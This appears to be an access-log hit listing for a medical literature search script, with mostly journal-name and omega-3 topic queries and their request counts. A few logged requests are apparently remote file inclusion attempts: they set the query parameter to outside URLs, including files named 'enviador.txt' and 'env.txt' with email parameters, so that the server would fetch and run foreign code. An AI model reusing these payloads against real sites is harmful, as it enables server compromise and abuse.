27: : 1-Set-10 06:23: /medasq.php?z=PLoS+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 7-Set-10 15:16: /medasq.php?z=Surg+Endosc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 25-Ago-10 21:42: /medasq.php?z=BMC+Cardiovasc+Disord&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 2-Set-10 07:35: /medasq.php?z=Gan+To+Kagaku+Ryoho&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 11-Ago-10 06:11: /medasq.php?z=Med+Care&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 19-Lug-10 05:29: /medasq.php?z=Environ+Health+Perspect&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 6-Set-10 03:40: /medasq.php?z=Chir+Ital&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 2-Set-10 07:56: /medasq.php?z=Arch+Pediatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 6-Set-10 19:23: /medasq.php?z=Zhongguo+Yi+Xue+Ke+Xue+Yuan+Xue+Bao&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 14-Ago-10 15:19: /medasq.php?z=Arch+Int+Physiol+Biochim&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 14-Ago-10 11:00: /medasq.php?z=J+Cardiometab+Syndr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 27-Ago-10 16:18: /medasq.php?z=Braz+J+Med+Biol+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
27: : 11-Ago-10 01:49: /medasq.php?z=Radiology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
27: : 6-Set-10 05:15: /medasq.php?z=Brain&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
27: : 19-Ago-10 11:02: /medasq.php?z=J Physiol&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
27: : 21-Lug-10 09:02: /medasq.php?abstract=0&quanti=5&highlight=0
27: : 21-Lug-10 18:31: /medasq.php?abstract=0&quanti=5&highlight=2
27: : 25-Ago-10 20:52: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (mental disorders [mesh] | schizophren* [all] | depression [all] | bipolar* [all] | mania* [all] | manic [all] | psychos* [all] | psychot* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
27: : 2-Set-10 19:42: /medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
26: : 16-Ago-10 04:06: /medasq.php?z=Mar+Biotechnol+(NY)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 21-Lug-10 12:49: /medasq.php?abstract=1&quanti=20&highlight=1
26: : 21-Lug-10 04:45: /medasq.php?abstract=1&quanti=20&highlight=2
26: : 25-Ago-10 20:52: /medasq.php?z=(arch+otolaryngol+head+neck+surg+[ta]+OR+ann+otol+rhinol+laryngol+[ta]+OR+acta+otolaryngol+stockh+[ta]+OR+clin+otolaryngol+[ta]+OR+orl+j+otorhinolaryngol+relat+spec+[ta]+OR+j+laryngol+otol+[ta]+)+AND+("clini al+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
26: : 28-Lug-10 05:29: /medasq.php?z=J+Aging+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 22-Ago-10 19:43: /medasq.php?z=Wei+Sheng+Wu+Xue+Bao&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 25-Ago-10 06:32: /medasq.php?z=Mol+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 17-Ago-10 00:59: /medasq.php?z=Transplantation&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
26: : 6-Set-10 03:23: /medasq.php?z=Plant+Biotechnol+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 28-Ago-10 19:21: /medasq.php?z=Reproduction&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
26: : 28-Ago-10 01:19: /medasq.php?z=(mol pharmacol [ta] OR br j pharmacol [ta] OR j pharmacol exp ther [ta] OR eur j pharmacol [ta] OR life sci [ta] OR biochem pharmacol [ta] OR pharmacol biochem behav [ta] )&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
26: : 21-Lug-10 13:18: /medasq.php?abstract=0&quanti=10&highlight=2
26: : 25-Ago-10 20:52: /medasq.php?z=J+Dairy+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 17-Ago-10 23:41: /medasq.php?z=Urol+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 27-Ago-10 01:14: /medasq.php?z=Hosp+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 21-Lug-10 14:31: /medasq.php?z=Arch+Anim+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 31-Ago-10 06:45: /medasq.php?z=Nat+Clin+Pract+Rheumatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
26: : 19-Lug-10 06:34: /medasq.php?z=Int+Clin+Psychopharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 1-Set-10 01:23: /medasq.php?z=Ethn+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 18-Ago-10 23:19: /medasq.php?z=Arch+Biochem+Biophys&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 31-Lug-10 06:51: /medasq.php?z=J%2520Physiol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
25: : 21-Lug-10 07:08: /medasq.php?abstract=1&quanti=5&highlight=1
25: : 28-Ago-10 12:29: /medasq.php?z=ORL+J+Otorhinolaryngol+Relat+Spec&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 13-Set-09 11:44: /medasq.php?z=http://210.143.111.146:2666/index.html?
25: : 30-Ago-10 17:46: /medasq.php?z=Pharmacogenomics+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 3-Set-09 11:39: /medasq.php?z=http://74.208.173.138:4443/index.html?
25: : 24-Ago-10 11:10: /medasq.php?z=Neuroepidemiology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 25-Ago-10 20:52: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
25: : 16-Ago-10 01:27: /medasq.php?z=East+Afr+Med+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 17-Ago-10 21:43: /medasq.php?z=Klin+Oczna&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 19-Ago-10 09:34: /medasq.php?z=Rev+Obstet+Gynecol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 19-Ago-10 22:02: /medasq.php?z=Metabolomics&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 17-Ago-10 22:55: /medasq.php?z=Neuromolecular+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 17-Ago-10 22:32: /medasq.php?z=J+Hypertens+Suppl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 29-Ago-10 20:59: /medasq.php?z=C+R+Seances+Acad+Sci+D&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 18-Ago-10 11:45: /medasq.php?z=Clin+Infect+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 11-Ago-10 23:23: /medasq.php?z=Surgery&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
25: : 7-Set-10 03:03: /medasq.php?z=Exp+Cell+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 15-Ago-10 19:34: /medasq.php?z=Vet J&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
25: : 17-Ago-10 21:16: /medasq.php?z=Expert+Opin+Emerg+Drugs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 14-Ago-10 13:23: /medasq.php?z=Curr+Clin+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
25: : 14-Ago-10 15:08: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (nervous system diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
25: : 17-Ago-10 00:55: /medasq.php?z=Pediatrics&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
24: : 5-Set-10 11:34: /medasq.php?z=Haematologica&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 1-Set-10 08:54: /medasq.php?z=Curr+Opin+Support+Palliat+Care&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 19-Ago-10 04:25: /medasq.php?z=Immunol+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 21-Lug-10 12:21: /medasq.php?abstract=1&quanti=5&highlight=0
24: : 9-Lug-10 23:25: /medasq.php?z=(am j obstet gynecol [ta] OR obstet gynecol [ta] OR br j obstet gynaecol [ta] OR acta obstet gynecol scand [ta] OR j reprod med [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
24: : 23-Ago-10 14:26: /medasq.php?z=Med Biol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
24: : 1-Set-10 16:02: /medasq.php?z=Arch+Mal+Coeur+Vaiss&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 3-Set-10 13:29: /medasq.php?z=J+Small+Anim+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 25-Ago-10 20:51: /medasq.php?z=Environ Health&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
24: : 15-Ago-10 19:27: /medasq.php?z=J+Vet+Intern+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 29-Lug-10 07:21: /medasq.php?z=Eye+(Lond)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 17-Ago-10 14:50: /medasq.php?z=Heart&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
24: : 3-Set-10 18:50: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=300&daevidenziare=&azione=Journals&free=
24: : 28-Ago-10 01:18: /medasq.php?z=(am j clin nutr [ta] OR j nutr [ta] OR br j nutr [ta] OR jpen j parenter enteral nutr [ta] OR eur j clin nutr [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
24: : 15-Ago-10 20:48: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (autoimmune diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
24: : 6-Ago-10 12:32: /medasq.php?z=Poult+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 21-Ago-10 15:42: /medasq.php?z=Pak+J+Biol+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 18-Ago-10 04:19: /medasq.php?z=Int+J+Clin+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
24: : 6-Set-10 04:38: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
24: : 25-Ago-10 20:57: /medasq.php?z=(ann neurol [ta] OR brain [ta] OR neurology [ta] OR arch neurol [ta] OR stroke [ta] OR pain [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
23: : 14-Ago-10 22:15: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 cardiovascular diseases [majr&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
23: : 14-Ago-10 15:32: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (neoplasms [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
23: : 14-Ago-10 22:15: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (pregnancy [majr] | pregnancy complications [majr] | lactation [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
23: : 6-Lug-09 16:01: /medasq.php?z=http://www.pierrerene.pl/temp/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=brancohat@gmail.com
23: : 17-Ago-10 22:43: /medasq.php?z=Obesity+(Silver+Spring)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 17-Ago-10 23:28: /medasq.php?z=J+Atten+Disord&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 22-Ago-10 04:13: /medasq.php?z=Int+J+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 27-Ago-10 22:26: /medasq.php?z=Infect+Immun&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 7-Feb-10 07:45: /medasq.php?z=http://chapown.100webspace.net/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=dankomanda@gmail.com
23: : 10-Ago-10 23:51: /medasq.php?z=J%252bClin%252bEndocrinol%252bMetab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 25-Ago-10 20:51: /medasq.php?z=(j+am+geriatr+soc+%255Bta%255D+OR+age+ageing+%255Bta%255D+)+AND+(%2522clinical+trials%2522%255BMeSH+Terms%255D+OR+%2522clinical+trial%2522%255BText+Word%255D+OR+%2522meta+analysis%2522%255BMeSH+Terms%255D+OR+%2522meta+analysis%2522%255BText+Word%255D+OR+%2522guideline%2522%255BAll+Fields%255D+OR+%2522consensus+development+conference%2522%255BAll+Fields%255D+OR+systematic+%255Bsb%255D)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
23: : 12-Ago-10 20:16: /medasq.php?z=Circ+Cardiovasc+Interv&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 26-Giu-10 12:03: /medasq.php?z=MMW+Fortschr+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 18-Ago-10 21:43: /medasq.php?z=Curr+Opin+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 5-Set-10 13:41: /medasq.php?z=Clin+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 5-Set-10 14:30: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hyperlipidemia [mesh] | hyperlipid* [all] | hyperlipem* [all] | hyperlipaem* [all] | hypercholester* [all] | hypertriglycerid* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
23: : 17-Ago-10 21:51: /medasq.php?z=J+Neuroimmunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
23: : 28-Ago-10 01:19: /medasq.php?z=(hum reprod [ta] OR fertil steril [ta] OR am j reprod immunol [ta] OR contraception [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
22: : 18-Ago-10 16:14: /medasq.php?z=Cardiovasc+Hematol+Agents+Med+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 15-Ago-10 19:35: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 hypertension [majr&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
22: : 6-Set-10 15:32: /medasq.php?z=J Biochem&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
22: : 17-Ago-10 21:48: /medasq.php?z=Nephron&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 18-Ago-10 21:10: /medasq.php?z=J+Dermatolog+Treat&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 29-Ago-10 06:03: /medasq.php?z=J+Autism+Dev+Disord&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 17-Ago-10 23:08: /medasq.php?z=Acta+Psychiatr+Scand&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 23-Lug-10 07:35: /medasq.php?z=J+Gynecol+Obstet+Biol+Reprod+(Paris)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 3-Lug-10 02:43: /medasq.php?z=(j pediatr [ta] OR pediatr res [ta] OR pediatrics [ta] OR arch dis child [ta] OR clin pediatr phila [ta] OR j pediatr gastroenterol nutr [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
22: : 17-Dic-09 23:48: /medasq.php?z=Klin+Monatsbl+Augenheilkd&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 17-Ago-10 00:28: /medasq.php?z=Am J Med&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
22: : 14-Ago-10 15:06: /medasq.php?z=Arterioscler+Thromb&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 5-Set-10 21:44: /medasq.php?z=Biochemistry&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
22: : 28-Ago-10 22:49: /medasq.php?z=Eur+J+Pharm+Biopharm&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 27-Ago-10 01:53: /medasq.php?z=Comp+Biochem+Physiol+B&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 23-Ago-10 13:46: /medasq.php?z=An+Esp+Pediatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 14-Ago-10 15:13: /medasq.php?z=Int+J+Obes+(Lond)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 28-Ago-10 01:19: /medasq.php?z=(j immunol [ta] OR j allergy clin immunol [ta] OR clin exp allergy [ta] OR allergy [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
22: : 7-Set-10 13:52: /medasq.php?z=Int MS J&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
22: : 2-Set-10 13:55: /medasq.php?z=Cardiovasc+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 10-Mag-10 07:12: /medasq.php?z=Pol+Merkur+Lekarski&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 19-Lug-10 06:58: /medasq.php?z=J+Hum+Evol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 7-Set-10 02:50: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (arthritis [mesh] | arthrit* [all] | osteoarthrit* [all] | arthros* [all] | osteoarthros* [all] )&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
22: : 1-Set-10 03:12: /medasq.php?z=Physiol+Genomics&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 17-Ago-10 23:10: /medasq.php?z=J+Am+Board+Fam+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 20-Ago-10 23:15: /medasq.php?z=Expert+Rev+Neurother&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 23-Ago-10 15:06: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=180&daevidenziare=&azione=Journals&free=
22: : 6-Set-10 14:41: /medasq.php?z=Surgery&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
22: : 17-Ago-10 01:46: /medasq.php?z=Boll+Soc+Ital+Biol+Sper&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 21-Ago-10 00:39: /medasq.php?z=Ciba+Found+Symp&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 25-Giu-10 00:02: /medasq.php?z=(anesthesiology [ta] OR anesth analg [ta] OR br j anaesth [ta] OR anaesthesia [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
22: : 12-Mag-09 14:08: /medasq.php?z=http://www.educadoramg.com.br/env.txt?&servidor=www.debernardis.it/medasq.php?z=¶=brancohat@gmail.com
22: : 19-Ago-10 06:15: /medasq.php?z=Environ+Sci+Technol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
22: : 14-Ago-10 15:05: /medasq.php?z=Annu+Rev+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 17-Ago-10 21:19: /medasq.php?z=Pediatrics&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
21: : 4-Ago-10 14:10: /medasq.php?z=Zhonghua+Fu+Chan+Ke+Za+Zhi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 6-Set-10 09:18: /medasq.php?z=J Obstet Gynaecol Can&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
21: : 14-Ago-10 14:47: /medasq.php?z=Anesthesiology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
21: : 15-Ago-10 19:35: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (skin diseases [mesh] | dermatos* [all] | dermatit* [all] | psoria* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
21: : 19-Ago-10 00:04: /medasq.php?z=Acta+Neurol+Taiwan&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 21-Lug-10 13:10: /medasq.php?z=Ceska+Gynekol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 12-Dic-09 13:06: /medasq.php?z=Eye&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 15-Ago-10 19:57: /medasq.php?z=Metabolism&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
21: : 25-Ago-10 20:53: /medasq.php?z=Aging+health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 17-Ago-10 23:19: /medasq.php?z=Hellenic+J+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 13-Lug-10 08:20: /medasq.php?z=Brain+Behav+Immun&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 31-Ago-10 05:34: /medasq.php?z=Theriogenology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 12-Ago-10 23:33: /medasq.php?z=Nippon+Rinsho&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 7-Set-10 15:44: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=280&daevidenziare=&azione=Show&free=
21: : 31-Ago-10 19:04: /medasq.php?z=J Obstet Gynaecol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
21: : 22-Lug-10 05:15: /medasq.php?z=MCN+Am+J+Matern+Child+Nurs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 15-Ago-10 19:34: /medasq.php?z=Epidemiology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
21: : 14-Ago-10 23:20: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (eye diseases [mesh] | eye disease* [all] | eye disorder* [all] | visual disease* [all] | visual disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
21: : 31-Lug-10 06:52: /medasq.php?z=(arthritis%2520rheum%2520%255Bta%255D%2520OR%2520br%2520j%2520rheumatol%2520%255Bta%255D%2520)%2520AND%2520(%2522clinical%2520trials%2522%255BMeSH%2520Terms%255D%2520OR%2520%2522clinical%2520trial%2522%255BText%2520Word%255D%2520OR%2520%2522meta%2520analysis%2522%255BMeSH%2520Terms%255D%25
21: : 6-Set-10 16:16: /medasq.php?z=J+Bone+Miner+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 15-Ago-10 13:46: /medasq.php?z=Obstet Gynecol&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
21: : 9-Mag-10 20:02: /medasq.php?z=Clin+Evid+(Online)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
